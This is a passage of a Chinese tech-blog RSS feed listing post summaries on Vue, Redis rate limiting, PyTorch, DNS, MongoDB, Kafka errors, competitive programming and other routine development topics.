      <description>【机器学习】西瓜书学习心得及课后习题参考答案—第6章支持向量机&#xA;1.试证明样本空间中任意点x到超平面(w,b)的距离为式(6.2)。&#xA;首先，直观解释二维空间内点到直线的距离：&#xA;由平面向量的有关知识，可得：&#xA;超平面的法向量为 w w w，任取平面上一点 x 0 x_0 x0​，则超平面可以表示为 ω T ⋅ x 0 + b = 0 ω^T \cdot x_0 + b = 0 ωT⋅x0​+b=0。一个点 x x x到超平面的距离可以用该点到 x 0 x_0 x0​ 的距离在法向量 (ω) 方向上的投影来表示，即：&#xA;距离 = ∣ ω T ( x − x 0 ) ∣ ∣ ∣ ω ∣ ∣ = ∣ ω T x + b ∣ ∣ ∣ ω ∣ ∣ \text{距离} = \frac{|ω^T(x−x_0)|}{||ω||} = \frac{|ω^T x + b|}{||ω||} 距离=∣∣ω∣∣∣ωT(x−x0​)∣​=∣∣ω∣∣∣ωTx+b∣​</description>
    </item>
    <item>
      <title>Vue框架引入Axios</title>
      <link>https://bchobby.github.io/posts/5bf36e6b72a7f2da9219089b8a83cf18/</link>
      <pubDate>Wed, 27 Dec 2023 15:34:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bf36e6b72a7f2da9219089b8a83cf18/</guid>
      <description> 首先已经创建好了 Vue 框架，安装好了 node.js。&#xA;没有完成的可按照此博客搭建：搭建Vue项目&#xA;之后打开终端，使用命令。&#xA;1、命令安装 axios 和 vue-axios npm install axios --save npm install vue-axios --save 2、package.json 查看版本 在 package.json 文件里可查看下载好的依赖版本。&#xA;3、在 main.js 完整引入 import axios from &#39;axios&#39; import VueAxios from &#39;vue-axios&#39; // VueAxios 与 axios 的位置不能交换，否则出现 TypeError: Cannot read property &#39;protocol&#39; of undefined Vue.use( VueAxios , axios) 4.使用 初始化方法：&#xA;methods:{ getList(){ this.axios.get(&#39;http://localhost:8000/user/getList&#39;,{ params:{ page:this.query.page, size:this.query.size, name:this.query.name } }).then((resp)=&amp;gt;{ console.log(resp); this.tableData = resp.data.content.list; this.total = resp.data.content.total; }) }, } </description>
    </item>
    <item>
      <title>IP地址在网络安全中的关键作用</title>
      <link>https://bchobby.github.io/posts/ee3b6181145e6f178377c300cd6f0cfe/</link>
      <pubDate>Wed, 27 Dec 2023 15:33:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee3b6181145e6f178377c300cd6f0cfe/</guid>
      <description>IP地址是互联网世界中的重要标识符，它在网络安全领域发挥着至关重要的作用。这些地址不仅帮助设备在网络上找到彼此，还在多个方面有助于维护网络的完整性、机密性和可用性。IP地址在网络安全中的关键作用以及实际应用有哪些呢？&#xA;1、身份验证和访问控制&#xA;IP地址用于标识和验证连接到网络的设备。这为网络管理员提供了一种强有力的工具，可以根据IP地址来控制设备的访问权限。通过配置防火墙、路由器和交换机上的访问控制列表（ACL），管理员可以限制或允许特定IP地址范围的设备访问敏感信息或关键资源。这有助于确保未经授权的访问被拒绝，从而降低潜在的威胁。&#xA;2、溯源和日志记录&#xA;IP地址在追踪网络活动方面发挥着关键作用。网络管理员可以使用IP地址来记录设备之间的通信，以便在发生安全事件时进行溯源和分析。这些日志可用于确定攻击来源、确认恶意活动以及为进一步的调查提供线索。因此，IP地址充当了网络安全事件的数字指纹，为网络安全专业人员提供了必要的信息。&#xA;3、防御策略的执行&#xA;网络安全团队可以使用IP地址来实施各种安全策略。例如，入侵检测系统（IDS）和入侵防御系统（IPS）可以监视网络流量，识别并组织来自已知恶意IP地址的恶意活动。这些系统可以根据IP地址的黑名单和白名单来采取措施，有助于减轻潜在的攻击并提高网络的安全性。&#xA;4、网络分割和隔离&#xA;IP地址还用于创建虚拟局域网（VLAN）和子网，从而实现网络分割和隔离。这有助于减小攻击面，即降低潜在攻击者入侵的机会。通过将设备分组到不同的子网中，即使一部分网络受到攻击，其他部分仍然可以保持相对安全。&#xA;5、安全审计和合规性&#xA;IP地址是安全审计和合规性的重要组成部分。通过监视与特定IP地址相关的活动，组织可以满足合规性要求，确保符合法规和标准。此外，它们还有助于识别潜在的安全风险和迅速采取措施来纠正问题。&#xA;6、恶意流量过滤&#xA;IP地址被广泛用于识别和过滤恶意流量，如分布式拒绝服务（DDoS）攻击。安全设备可以检测并隔离来自大量恶意IP地址的流量，确保网络的可用性和性能不受影响。这种过滤可以帮助网络恢复正常运行，同时降低攻击的影响。&#xA;综上所述，IP地址在网络安全中是不可或缺的工具，用于标识、验证、监视和保护网络资源。它们不仅有助于阻止潜在威胁，还提供了关键的日志和数据，帮助组织提高其网络安全水平。通过合理利用IP地址，组织可以更好地保护其网络免受各种网络安全威胁的侵害。</description>
    </item>
    <item>
      <title>Redis实现限流</title>
      <link>https://bchobby.github.io/posts/b63b422b0b06f3f09417f76ff49659cd/</link>
      <pubDate>Wed, 27 Dec 2023 15:20:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b63b422b0b06f3f09417f76ff49659cd/</guid>
      <description>1. 基于Redis的zset数据结构实现滑动窗口限流 我们可以将请求打造成一个zset数组，当每一次请求进来的时候，value保持唯一，可以用UUID生成，而score可以用当前时间戳表示，因为score我们可以用来计算当前时间戳之内有多少的请求数量。而zset数据结构也提供了range方法让我们可以很轻易的获取到2个时间戳内有多少请求。&#xA;public Response limitFlow(){ Long currentTime = new Date().getTime(); System.out.println(currentTime); if(redisTemplate.hasKey(&#34;limit&#34;)) { Integer count = redisTemplate.opsForZSet().rangeByScore(&#34;limit&#34;, currentTime - intervalTime, currentTime).size(); // intervalTime是限流的时间 System.out.println(count); if (count != null &amp;amp;&amp;amp; count &amp;gt; 5) { return Response.ok(&#34;每分钟最多只能访问5次&#34;); } } redisTemplate.opsForZSet().add(&#34;limit&#34;,UUID.randomUUID().toString(),currentTime); return Response.ok(&#34;访问成功&#34;); } 通过上述代码可以做到滑动窗口的效果，并且能保证每N秒内至多M个请求，缺点就是zset的数据结构会越来越大。实现方式相对也是比较简单的。&#xA;3. 基于Redis的list数据结构实现令牌桶限流 令牌桶算法提及到输入速率和输出速率，当输出速率大于输入速率，那么就是超出流量限制了。&#xA;我们每访问一次请求的时候，可以从Redis中获取一个令牌，如果拿到令牌了，那就说明没超出限制，而如果拿不到，则结果相反。&#xA;// 定时放令牌 // 10S的速率往令牌桶中添加UUID，只为保证唯一性 @Scheduled(fixedDelay = 10_000,initialDelay = 0) public void setIntervalTimeTask(){ redisTemplate.opsForList().rightPush(&#34;limit_list&#34;,UUID.randomUUID().toString()); } // 取令牌 public Response limitFlow2(Long id){ Object result = redisTemplate.</description>
    </item>
    <item>
      <title>Python：PyTorch</title>
      <link>https://bchobby.github.io/posts/af74f4fd325b1e7fc8c17bd89479580b/</link>
      <pubDate>Wed, 27 Dec 2023 15:17:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af74f4fd325b1e7fc8c17bd89479580b/</guid>
      <description>简介 PyTorch是一个开源的机器学习库，由Facebook的人工智能研究团队（FAIR）开发，用于应用于机器学习和深度学习的Python程序。PyTorch基于Torch，使用Python语言重新编写，使得它更容易使用和扩展。它支持强大的GPU加速，并且具有动态计算图（称为autograd），这使得它在构建和训练神经网络方面非常灵活和高效。&#xA;PyTorch的基础组成 Tensor：张量是PyTorch中的基本数据结构，类似于NumPy的ndarray，但可以在GPU上使用。它是向量和矩阵的高维推广。自动微分（Autograd）：这是PyTorch中的一个核心特性，可以自动计算梯度，对于神经网络的训练至关重要。神经网络模块（torch.nn）：这个模块提供了构建神经网络所需的各种层和函数。例如，全连接层、卷积层、池化层、激活函数等。损失函数：在训练神经网络时，需要计算损失函数来评估模型的性能。PyTorch提供了多种损失函数，如交叉熵损失、均方误差（MSE）等。优化器：优化器用于更新网络的权重，以最小化损失函数。例如，随机梯度下降（SGD）、Adam等。数据加载和预处理：PyTorch提供了torchvision包，用于加载和预处理图像数据，以及进行数据增强。 学习PyTorch的基础步骤 安装：首先需要在系统中安装PyTorch。可以通过其官方网站或者使用包管理工具（如pip或conda）进行安装。理解基本概念：学习Tensor、自动微分、神经网络层、损失函数和优化器等基础知识。实践：通过编写简单的代码来加深理解，如创建和操作Tensor、构建简单的神经网络、训练模型等。深入学习：研究更高级的概念，如多GPU支持、动态图、模型保存和加载、TensorBoard可视化等。项目实战：参与实际的深度学习项目，应用PyTorch来解决实际问题。 PyTorch的优势 易用性：对于有NumPy基础的用户来说，PyTorch非常容易上手。灵活性：动态计算图使得它在构建复杂的神经网络时非常灵活。社区支持：由于使用人数众多，社区提供了大量的教程、论坛和文档。 总结 PyTorch是一个功能强大、灵活且易于使用的深度学习框架。无论你是初学者还是有经验的开发者，都可以通过学习和实践来掌握它，并将其应用于各种机器学习和深度学习的任务中。</description>
    </item>
    <item>
      <title>开源项目推荐：Frooodle/Stirling-PDF</title>
      <link>https://bchobby.github.io/posts/b7445ac386046acd88c78769102c6265/</link>
      <pubDate>Wed, 27 Dec 2023 15:11:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7445ac386046acd88c78769102c6265/</guid>
      <description>简介一个本地的处理 PDF 的工具，界面是 Web UI，可以支持 Docker 部署。&#xA;各种主要的 PDF 操作都可以支持。比如拆分、合并、转换格式、重新排列、添加图片、旋转、压缩等等。这个本地托管的网络应用最初完全由 ChatGPT 制作，后来逐渐发展，增加了许多功能，以满足你对 PDF 的各种需求。Stirling PDF 不会对外发送任何数据以进行记录或跟踪。所有的文件和 PDF 要么只在客户端处理，要么只在服务器内存中暂存，用于执行任务，或者仅在执行任务时保存在临时文件中。一旦用户下载了文件，那些文件就会从服务器上删除。&#xA;特性&#xA;支持深色模式可自定义的下载选项文件的并行处理和下载功能提供&amp;amp;nbsp;API，可与外部脚本整合可选的登录和认证功能 PDF&amp;amp;nbsp;功能页面操作&#xA;查看和修改 PDF -&amp;amp;nbsp;可以查看多页 PDF，并自定义排序和搜索，还支持页面上的编辑功能，如添加注释、绘图、文本和图片。（采用 PDF.js、Joxit 和 Liberation 字体）提供完整的交互式界面，用于合并、拆分、旋转、移动 PDF 及其页面。将多个 PDF 合并成一个文件。在指定页码处拆分 PDF或将所有页面作为单独文件提取。按不同顺序重新排列 PDF 页面。以 90&amp;amp;nbsp;度的增量旋转 PDF。删除页面。多页布局（将 PDF 重组为多页面格式）。按指定百分比调整页面内容大小。调整对比度。裁剪 PDF。自动拆分带有物理扫描分隔页的 PDF。提取特定页面。将&amp;amp;nbsp;PDF 转换为单页格式。&#xA;转换操作&#xA;将 PDF 转换为图片，反之亦然。将各种常见文件格式转换为 PDF（使用 LibreOffice）。将 PDF 转换为 Word、Powerpoint 等格式（使用 LibreOffice）。将 HTML 转换为 PDF。将网址直接转换为 PDF。将 Markdown 文件转换为 PDF。&#xA;安全与权限&#xA;设置和移除 PDF 密码。更改或设置 PDF 权限。添加水印。对 PDF 进行认证或签名。清理 PDF 文件。自动涂抹文本以保护隐私。</description>
    </item>
    <item>
      <title>【小白专用】c#之FileStream对象读写大文件</title>
      <link>https://bchobby.github.io/posts/a55610d7ebf5f8b7dbb67a4a79468730/</link>
      <pubDate>Wed, 27 Dec 2023 15:03:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a55610d7ebf5f8b7dbb67a4a79468730/</guid>
      <description>提及文件流，不得不先说以下几个类&#xA;FileStream，MemoryStream，NetWorkStream，StreamReader，StreamWriter，TextReader，TextWriter&#xA;在用这些类之前，我们先来了解一下这些类的用途以及区别。&#xA;C# 中常用的文件流(FileStream、StreamReader/Writer、MemoryStream)_c# filestream和streamwriter-CSDN博客&#xA;读取数据：&#xA;FileStream fs = new FileStream(path,FileMode.Open); //初始化文件流 byte[] arr = new byte[fs.Length]; //初始化字节数组 fs.Read(arr, 0, arr.Length); //从流中数据读取到字节数组中 fs.Close(); //关闭流 string str = Encoding.UTF8.GetString(arr); //将字节数组转换为字符串 Console.WriteLine(str); 写入数据&#xA;FileStream fs = new FileStream(path,FileMode.Append); //初始化文件流 byte[] arr = Encoding.UTF8.GetBytes(&#34;程序人生道可道&#34;); //将字符串转换为字节数组 fs.Write(arr,0,arr.Length); //将字节数组写入文件流 fs.Close(); 二：StreamReader/StreamWriter类&#xA;用途：主要用来处理流数据，它们分别提供了高效的流读取/写入功能。&#xA;优点：可以直接用字符串进行读写，而不用转换成字节数组。&#xA;注意：对于文本文件的读写，通常用 StreamReader 类和 StreamWriter 类更方便，其底层是通过FileStream实现读写文本文件。&#xA;读取数据：&#xA;FileStream fs = new FileStream(path,FileMode.Open); //初始化文件流 StreamReader sr = new StreamReader(fs); //初始化StreamReader string line = sr.</description>
    </item>
    <item>
      <title>多卡训练报错RuntimeError: The server socket has failed to listen on any local network address.</title>
      <link>https://bchobby.github.io/posts/b59bbf0c89a1f480e440e4d7b2eeba0e/</link>
      <pubDate>Wed, 27 Dec 2023 15:00:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b59bbf0c89a1f480e440e4d7b2eeba0e/</guid>
      <description>多卡训练报错 RuntimeError: The server socket has failed to listen on any local network address. The server socket 问题描述解决方案 问题描述 RuntimeError: The server socket has failed to listen on any local network address. The server socket has failed to bind to [::]:29500 (errno: 98 - Address already in use). The server socket has failed to bind to ?UNKNOWN? (errno: 98 - Address already in use). 解决方案 原因：训练的时候，已经有一张卡在执行训练，第二张卡执行训练任务时，使用了同一个端口&#xA;解决办法：修改第二张卡的端口号，与第一张卡使用的端口号不重复即可&#xA;参考1&#xA;或者不使用多卡训练了。使用DP模式</description>
    </item>
    <item>
      <title>python3 编译指定openssl</title>
      <link>https://bchobby.github.io/posts/c1ef108e145efb48dd172278a3f0c9b2/</link>
      <pubDate>Wed, 27 Dec 2023 14:57:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1ef108e145efb48dd172278a3f0c9b2/</guid>
      <description> 参考：&#xA;完整步骤linux下安装python环境 - 知乎&#xA;由于系统中有已经配置好的openssl（1.0.2k），只是版本比较低,编译python3.8需要openssl-1.1.1k，所以在一个linux 系统中安装两个openssl，并在python编译时指定使用的openssl.&#xA;下载openssl：/source/old/1.1.1/index.html将压缩包放在指定的位置：然后编译。 ./config --prefix=/old-openssl-version-x.x.x --openssldir=/old-openssl-version-x.x.makesudo make install将编译好的so库，在lib64中创建软链接 ln -s /oldpath/lib/libssl.so.1.1 /usr/lib64/libssl.so.1.1ln -s /oldpath/lib/libcrypto.so.1.1 /usr/lib64/libcrypto.so.1.1在编译安装的目录下的bin中，执行./openssl version 就可以看到需要的版本了，还不干扰系统自带的版本python在编译时指定openssl: ./configure --prefix=/python指定安装路径 --with-ssl=/openssl的bin路径 注意，在安装时，将需要的依赖安装上就好，如果不清楚需要哪些依赖，就先安装，然后根据报错，把依赖包补全。 </description>
    </item>
    <item>
      <title>基于云技术的域名解析系统研究：传统解析技术的局限性</title>
      <link>https://bchobby.github.io/posts/ab69c40a57c96e95574c8de821ad8cbd/</link>
      <pubDate>Wed, 27 Dec 2023 14:56:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab69c40a57c96e95574c8de821ad8cbd/</guid>
      <description>域名解析是互联网的一项重要基础作用，主要用于将域名翻译成计算机可识别的IP地址，完成对网络中其他主机的寻址任务。我们日常工作生活中的大部分网络应用，如网站访问、电子邮件以及其他各种web应用服务，都需要经过域名解析的寻址去完成。域名解析依靠分层结构的DNS系统，经过不同域DNS服务器的共同协作，最终完成域名解析的查询工作。&#xA;当客户主机对目标域名发起请求时，首先会请求客户主机所配置的递归服务器，递归服务器代替客户主机去进行全球的迭代查询。递归服务器首先请求根域名服务器，从根域名服务器获得顶级域名服务器的地址；递归服务器请求顶级域名服务器，获得域名授权的权威解析服务器的地址；递归服务器请求权威解析服务器，并将权威解析服务器给出的解析值返回给客户主机；客户主机根据解析值中的IP地址，对web服务器发起访问。&#xA;从以上的解析流程中可以看出，根域名服务器、顶级域名服务器主要充当“中介”的角色，最终由权威域名服务器给出最终的解析记录，权威解析服务器在整个解析环节中占据核心地位，但同时也对域名解析的速度和质量形成了制约。&#xA;在以往网络规模较小的情况下，传统的权威解析系统能够充分满足用户查询所需，但在当前流量剧增、网络环境复杂多变的今天，传统权威解析模式的诸多问题逐渐暴露出来。&#xA;DNS查询延迟&#xA;当前网页中的内容往往与多个业务系统进行嵌入式对接，因此在打开某个网页时可能需要从多个域名中获取页面信息，这就导致短时间内出现大量的DNS请求。传统权威解析系统一般由单台服务器提供解析服务，当客户主机距离权威服务器位置较远时，可能需要多个跳数才能完成解析数据的请求和应答，产生较大的解析时延，一个网页访问中出现多个域名解析时延的叠加，就可能产生比较明显的访问延迟，影响用户的上网体验。&#xA;轮询随机返回结果&#xA;传统权威解析技术不支持智能解析，即根据客户主机的地址匹配就近的web服务器，而是根据解析控制台设置的不同线路权重进行轮询，为客户主机随机返回一个地址，这就可能出现北京用户访问到上海服务器的情况，跨域带来的影响最终体现在网站响应时间的增加上。此外，由于权重轮询无法对访客所属运营商作出判断，因此可能会导致电信、移动、联通等不同运营商客户跨网访问web服务器情况的出现，同样会产生一定的访问延迟。&#xA;面临DNS攻击风险&#xA;由于权威服务器在互联网尤其是域名解析环节中扮演的重要角色，使其成为DNS攻击的重点目标，而其中DDoS攻击是比较普遍也是危害比较大的一种攻击方式。攻击者通过控制僵尸网络对权威服务器发起超大流量的解析请求，从而形成DDoS攻击。传统解析技术采用单台服务器，如果遭受DDoS攻击发生故障，就会影响其对所有管辖域名提供正常的域名解析服务。有的权威解析可能采用多台服务器，但多为相同自治域内域名，属于相同网段，这导致域名解析服务在DDoS攻击和网络故障下的应变能力下降。&#xA;应用场景受限&#xA;自2017年《互联网协议第六版（IPv6）规模部署行动计划》印发以来，我国IPv6产业发展迅速，目前IPv6活跃用户已达到7.6亿以上，占互联网网民总数的70%以上。为了满足快速增长的IPv6访问需要，越来越多的网站开始进行IPv6的升级改造，以实现IPv4和IPv6网络的互联互通。传统解析技术在早期没有考虑到IPv6的迅猛发展，导致相当一部分比例的权威服务器不支持AAAA记录或者不具备独立的IPv6地址，无法支持对IPv4和IPv6双栈网络的解析，在一定程度上制约了各行业网站向IPv6改造的进程。&#xA;综上来看，传统权威解析模式存在的种种局限性，最终影响到域名解析的速度、精度和安全性，成为域名解析和网络安全的一个薄弱环节。而随着IPv6网络的快速推进，物联网时代接入设备的急剧增加，域名解析将面临越来越复杂多样的网络场景，传统解析技术已经无法适应对安全解析、智能解析的现实需求，基于云技术的新一代解析系统正逐渐替代传统解析技术，应用于一些重点领域之中。</description>
    </item>
    <item>
      <title>Vue.js项目部署至Linux服务器的详细步骤</title>
      <link>https://bchobby.github.io/posts/d1c23084768880c7975074e5fb459804/</link>
      <pubDate>Wed, 27 Dec 2023 14:51:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1c23084768880c7975074e5fb459804/</guid>
      <description>引言 在现代Web开发中，Vue.js作为一款流行的前端框架，为开发者提供了灵活且高效的工具。然而，在将Vue.js项目成功部署到Linux服务器上，可能需要一些额外的步骤和注意事项。本文将深入介绍在Linux服务器上部署Vue.js项目的详细步骤，确保你能够轻松地将你的前端应用投入生产环境。&#xA;步骤一：准备工作 在开始之前，请确保你的Linux服务器上已经安装了Node.js和npm。你可以通过以下命令检查它们的安装情况：&#xA;node -v npm -v 如果尚未安装，你需要按照官方文档提供的指南进行安装。&#xA;sudo apt install nginx # 对于基于Debian/Ubuntu的系统 sudo yum install nginx # 对于基于CentOS的系统 步骤二：Vue.js项目构建 在本地开发环境中，我们使用`npm run serve`启动开发服务器，但在生产环境中，我们需要构建Vue.js项目以生成优化的静态文件。使用以下命令构建项目：&#xA;npm run build 这将在项目根目录下生成一个`dist`文件夹，其中包含了你的静态文件。&#xA;步骤三：传输文件至服务器 使用`scp`或其他文件传输工具，将`dist`文件夹中的内容复制到你的Linux服务器上的目标目录。确保目标目录有适当的访问权限：&#xA;scp -r /path/to/local/dist user@your_server_ip:/path/to/target/directory 步骤四：配置Web服务器 你需要一个 Web 服务器来提供这些静态资源。你可以选择 Nginx 或 Apache。以下是使用 Nginx 作为 Web 服务器的示例配置。&#xA;创建一个新的 Nginx 配置文件来提供你的 Vue.js 应用。例如，创建一个名为vue-app的配置文件：&#xA;sudo nano /etc/nginx/sites-available/vue-app 在Nginx配置文件中添加一个新的server块：&#xA;server { listen 80; server_name your_domain.com; location / { root /path/to/target/directory; index index.html; try_files $uri $uri/ /index.</description>
    </item>
    <item>
      <title>docker 容器中 bash: vi: command not found</title>
      <link>https://bchobby.github.io/posts/6774be374e357812ba916cf6b3e38951/</link>
      <pubDate>Wed, 27 Dec 2023 14:46:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6774be374e357812ba916cf6b3e38951/</guid>
      <description>项目场景： 最近因为某些原因需要在docker容器中使用vi和vim&#xA;进入容器后使用vi发现报错如下:&#xA;bash: vi: command not found 原因分析： 本来想着没有就用yum源下载一个结果发现yum源也没有，看了一下系统是ubantu系统。&#xA;解决方案： 使用了下面的命令&#xA;apt-get install vim 如果出现&#xA;E: Unable to locate package vim 直接使用&#xA;apt-get update 然后使用&#xA;apt-get install vim 这样就可以了。</description>
    </item>
    <item>
      <title>D - Swapping Puzzle （交换i和i&#43;1行或者i和i&#43;1列使得a矩阵和b矩阵相同，用next_permutation函数和逆序对）</title>
      <link>https://bchobby.github.io/posts/0df5cef694ac58008a653bfa9d8359dd/</link>
      <pubDate>Wed, 27 Dec 2023 14:34:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0df5cef694ac58008a653bfa9d8359dd/</guid>
      <description>题目：https://atcoder.jp/contests/abc332/tasks/abc332_d&#xA;思想：首先交换行对列中的元素无影响，同理交换列对行的元素无影响。&#xA;我们用暴力枚举（两层next_premutation函数）来找到所有的排列方式，同时判断这种排列方式是否a矩阵与b矩阵相同，初始行数组和列数组是1-n，1-m，全排列之后，如果相同，用逆序对同时记录行变化了多少以及列变化了多少，并且不断更新最小的交换次数。&#xA;代码：&#xA;// Problem: D - Swapping Puzzle // Contest: AtCoder - AtCoder Beginner Contest 332 // URL: https://atcoder.jp/contests/abc332/tasks/abc332_d // Memory Limit: 1024 MB // Time Limit: 2000 ms // // Powered by CP Editor (https://cpeditor.org) #include&amp;lt;bits/stdc++.h&amp;gt; using namespace std; typedef long long ll; const int N = 10; const int inf = 0x3f3f3f3f; int n,m; int a[N][N],b[N][N]; int row[N],col[N]; int main(){ ios::sync_with_stdio(false); cin.tie(0),cout.tie(0); cin&amp;gt;&amp;gt;n&amp;gt;&amp;gt;m; for(int i=1;i&amp;lt;=n;i++){ for(int j=1;j&amp;lt;=m;j++){ cin&amp;gt;&amp;gt;a[i][j]; } } for(int i=1;i&amp;lt;=n;i++){ for(int j=1;j&amp;lt;=m;j++){ cin&amp;gt;&amp;gt;b[i][j]; } } for(int i=1;i&amp;lt;=n;i++){ row[i]=i; } for(int i=1;i&amp;lt;=m;i++){ col[i]=i; } int res=inf; do{ do{ int flag=1; for(int i=1;i&amp;lt;=n;i++){ for(int j=1;j&amp;lt;=m;j++){ if(a[row[i]][col[j]]!</description>
    </item>
    <item>
      <title>Mongodb聚合操作中的$type</title>
      <link>https://bchobby.github.io/posts/45d58c488377a7eddfe4cd4dbaf7adf7/</link>
      <pubDate>Wed, 27 Dec 2023 14:27:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45d58c488377a7eddfe4cd4dbaf7adf7/</guid>
      <description>在mongodb查询语句中，用户可以通过指定$type值，查询出的符合字段类型的文档数据。在mongodb聚合操作中，也存在$type操作符。本文就聚合操作中的$type进行介绍。&#xA;定义 返回一个表示传入参数BSON类型的字符串。在聚合操作中，按照下面的语法来返回类型信息&#xA;{$type: &amp;lt;expression&amp;gt;} 其中，expression可以是字段名称，运算等任何合法的表达式。&#xA;行为 与查询过滤器中的$type用法不同。聚合操作中的$type用来返回表达式中的结果类型。如当传入一个数组作为参数是，返回数组类型。&#xA;当指定字段名称作为参数时，当文档中不存在该字段时，$type返回字符串&#34;missing&#34;。&#xA;下面表格描述了传入不同参数时获取到的结果。&#xA;表达式&#xA;结果&#xA;{$type: &#34;a&#34;}&#xA;&#34;string&#34;&#xA;{$type: /a/}&#xA;&#34;regex&#34;&#xA;{$type: 1}&#xA;&#34;double&#34;&#xA;{$type: NumberLong(627)}&#xA;&#34;long&#34;&#xA;{$type: {x: 1}}&#xA;&#34;object&#34;&#xA;{$type: [ [1, 2, 3] ]}&#xA;&#34;array&#34;&#xA;其中，为了避免数组[1, 2, 3]被解析成参数列表，这里将数组转换成了字面意义。&#xA;应用 在集合coll中有下面6个文档。&#xA;db.coll.insertMany([ {_id: 0, a: 8}, {_id: 1, a: [ 41.63, 88.19]}, {_id: 2, a: {a: &#34;apple&#34;, b: &#34;banana&#34;, c: &#34;carrot&#34;}}, {_id: 3, a: &#34;caribou&#34;}, {_id: 4, a: NumberLong(71)}, {_id: 5}, ]) 使用聚合查询，查询字段a的类型</description>
    </item>
    <item>
      <title>短视频矩阵系统：创新营销利器</title>
      <link>https://bchobby.github.io/posts/a8bd123d43f608a34bb92bef96c44a86/</link>
      <pubDate>Wed, 27 Dec 2023 14:23:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8bd123d43f608a34bb92bef96c44a86/</guid>
      <description>短视频在当前互联网行业中正逐渐崭露头角。短视频矩阵系统作为支撑短视频发展的重要工具，对于其运行和提升起着关键的作用。本文将围绕短视频矩阵系统这一主题进行探讨，并阐述其在现代营销领域中的潜力。&#xA;首先，我们需要明确什么是短视频矩阵系统。短视频矩阵系统是指在各个短视频平台上建立多个账号，并以不同形式和内容发布短视频，从而形成一个庞大的矩阵网络。短视频矩阵系统的核心目的是通过多渠道、高频次的宣传，提高品牌曝光度和用户粘性，从而实现营销效果的最大化。&#xA;那么，为什么短视频矩阵系统能够成为创新营销利器呢？首先，短视频平台的用户数量庞大。根据数据显示，短视频用户群体呈现出快速增长的趋势，尤其是年轻用户的使用率较高。这意味着通过短视频矩阵系统，企业可以将品牌信息传递给更多的目标用户，提高品牌知名度和美誉度。&#xA;其次，短视频矩阵系统具有创意和互动性。相比于传统的广告形式，短视频更具吸引力和趣味性，用户在观看短视频时更容易被内容所吸引。通过短视频矩阵系统，企业可以灵活运用不同的创意手法来制作和发布视频，从而吸引用户的注意力，使之产生共鸣和分享。同时，短视频矩阵系统也可以与用户进行互动，通过评论、点赞等方式促进用户参与度的提升。&#xA;再者，短视频矩阵系统可以实现营销效果的全面展示。通过建立多个账号，企业可以将不同的产品特点和营销策略展示给不同的用户群体，提供个性化的推荐和服务。这样一来，企业可以更好地了解用户需求和喜好，进而调整和优化自身产品和服务。同时，通过短视频矩阵系统，企业还可以及时了解用户反馈和意见，对用户的问题进行解答，提升用户满意度和品牌口碑。&#xA;最后，短视频矩阵系统能够提高营销效果的指标。短视频平台提供了详尽的数据分析工具，企业可以通过统计用户观看、评论、点赞等数据来评估和优化短视频的传播效果。这些数据将为企业提供重要的参考依据，从而帮助企业更好地制定营销策略和投入资源，提高ROI。&#xA;总而言之，短视频矩阵系统是当今互联网营销领域中的创新利器。通过多渠道、高频次的宣传，短视频矩阵系统能够提升品牌曝光度和用户粘性；通过创意和互动性，短视频矩阵系统能够吸引用户的注意力和参与度；通过全面展示和数据分析，短视频矩阵系统能够提高营销效果的指标。未来，随着短视频行业的进一步发展，短视频矩阵系统将会催生更多的商机和营销创新，成为企业竞争的利器。</description>
    </item>
    <item>
      <title>【Kafka】Kafka客户端认证失败：Cluster authorization failed.</title>
      <link>https://bchobby.github.io/posts/65e35386557a8a189c12b6b03602cc6d/</link>
      <pubDate>Wed, 27 Dec 2023 14:23:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65e35386557a8a189c12b6b03602cc6d/</guid>
      <description>背景 kafka客户端是公司内部基于spring-kafka封装的spring-boot版本：3.xspring-kafka版本：2.1.11.RELEASE集群认证方式：SASL_PLAINTEXT/SCRAM-SHA-512经过多年的经验，以及实际验证，配置是没问题的，但是业务方反馈用相同的配置，还是报错！ 错误日志 2023-12-21 18:00:44.051 [kafka-producer-network-thread | producer-1] INFO o.a.k.c.p.i.TransactionManager - [Producer clientId=producer-1] Transiting to fatal error state due to org.apache.kafka.common.errors.ClusterAuthorizationException: Cluster authorization failed. 2023-12-21 18:00:44.066 [http-nio-8082-exec-1] ERROR o.a.c.c.C.[.[.[.[dispatcherServlet] - Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed: org.apache.kafka.common.KafkaException: Cannot execute transactional method because we are in an error state] with root cause org.apache.kafka.common.errors.ClusterAuthorizationException: Cluster authorization failed. 2023-12-21 18:00:44.156 [kafka-producer-network-thread | producer-1] ERROR o.</description>
    </item>
    <item>
      <title>电脑病毒感染 - 华为OD统一考试</title>
      <link>https://bchobby.github.io/posts/ca187d00a3b47f8d75d48223c28b12d0/</link>
      <pubDate>Wed, 27 Dec 2023 14:12:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca187d00a3b47f8d75d48223c28b12d0/</guid>
